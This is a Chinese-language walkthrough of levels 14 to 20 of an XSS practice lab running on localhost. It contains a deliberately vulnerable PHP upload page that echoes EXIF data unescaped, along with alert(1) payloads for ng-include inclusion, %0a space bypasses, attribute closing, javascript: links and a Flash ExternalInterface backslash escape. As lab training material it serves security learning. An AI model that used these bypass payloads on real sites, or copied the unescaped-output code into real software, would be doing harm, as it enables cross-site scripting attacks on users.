由于有Flash XSS,需要配置一下环境,下载Flash和JPEXS(Flash反编译工具)。
14. Level14-图片EXIF注入
这关卡的iframe引用的地址打不开,我们自己写一个简单的放在本地服务器上,引用对应的URL就行,同时需要打开php_exif开关。
index.php放在根目录,URL为http://127.0.0.1
<?php
echo '
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<center>
<form action="./index.php" method=POST enctype=multipart/form-data>
<label for=file>文件名:</label><input type=file name=file id=file><br>
<input type=submit name=submit value=提交></form></center></html>';
try{
// 允许上传的图片后缀
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp); // 获取文件后缀名
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/jpg")
|| ($_FILES["file"]["type"] == "image/pjpeg")
|| ($_FILES["file"]["type"] == "image/x-png")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800) // 小于 200 kb
&& in_array($extension, $allowedExts))
{
if ($_FILES["file"]["error"] > 0)
{
echo "错误:: " . $_FILES["file"]["error"] . "<br>";
}
else
{
echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
}
move_uploaded_file($_FILES["file"]["tmp_name"], $_FILES["file"]["name"]);
}
else
{
echo "非法的文件格式";
}
$file = $_FILES["file"]["name"];
$exif = exif_read_data($file, 0, true);
echo "<h4>[ ".$file." ]的EXIF信息:</h4>";
foreach ($exif as $key => $section) {
foreach ($section as $name => $val) {
echo "$key.$name: $val<br />\n";
}
}
}catch (Exception $e){
echo $e;
}
?>
修改level14的iframe的src。
打开关卡14。这里的报错可以忽略,不影响。
这需要上传图片,我们上传一个普通图片。打印出来图片EXIF信息。
我们可以修改EXIF信息,向其中写入脚本,当后端读取并先到前端时,就会注入脚本,触发XSS。
上传这个有脚本的图片,触发成功。
15. Level15-angularJS包含
这个需要使用angularJS,原地址无法使用,我们修改地址为:https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js
打开关卡15。URL的src参数回显在下面的ng-include。
ng-include相当于php的include函数,所以我们包含一个有XSS漏洞的URL就可触发这里的XSS。
我们包含第一关的XSS。
http://127.0.0.1:8005/level15.php?src='level1.php?name=<img src=x onerror=alert(1)>'
16. Level16-%0a代替空格
打开关卡16。
其中script和/全部被替换,我们查看代码。
其中将script,空格,Tab,/全部替换,我们使用img绕过,空格用%0a替换。
http://127.0.0.1:8005/level16.php?keyword=<img%0asrc=x%0aonerror=alert(1)>
17. Level17
打开关卡17。这题是Flash XSS,但是我们用闭合属性也可以触发XSS。
http://127.0.0.1:8005/level17.php?arg01=a&arg02=" onmouseover=alert(1)
18. Level18
打开关卡18,也是考Flash XSS。同上17关,但是我们也使用闭合属性值触发。
http://127.0.0.1:8005/level18.php?arg01=a&arg02=" onmouseover=alert(1)
19. Level19
打开关卡19。
Flash提供相关的函数,可能触发Flash XSS:getURL,navigateToURL,ExternalInterface.call,htmlText。
Flash给出文字信息,我们进行Flash反编译。根据提示在sirf中找到源代码。
对比信息提示,我们跟踪其中的%s,这个应该是个占位符。
找到这里从参数中提取名为version的参数,替换到%s上。
在通过调用函数实现文本替换。
通过write方法输出。
我们使用a标签来触发XSS。
version=<a href="javascript:alert(1)">xss</a>
通过URL传递参数:
http://127.0.0.1:8005/level19.php?arg01=version&&arg02=<a href="javascript:alert(1)">xss</a>
20. Level20-开源swf组件产生的xss
打开关卡20,
是引用了Flash,我们进行代码审计。
ZeroClipboard.swf从url中获取参数,传给调用ExternalInterface.call函数。
实际上浏览器的执行过程为
try {
__flash__toXML(ZeroClipboard.dispatch("id"));
}
catch (e)
{
"" ;
}
由于没有过滤参数中的反斜杠\,在flash与js交互中,反斜杠跳过了__flash_toXML函数的限制,导致xss,如下:
用id值将代码修改,id闭合双引号、两个括号和一个大括号,在catch中触发XSS代码。
id=\"))} catch(e){alert(1)} //%26width=500%26height=500
在URL中提交参数:
http://127.0.0.1:8005/level20.php?arg01=id&&arg02=\"))} catch(e){alert(1)} //%26width=500%26height=500
还有其他Payload: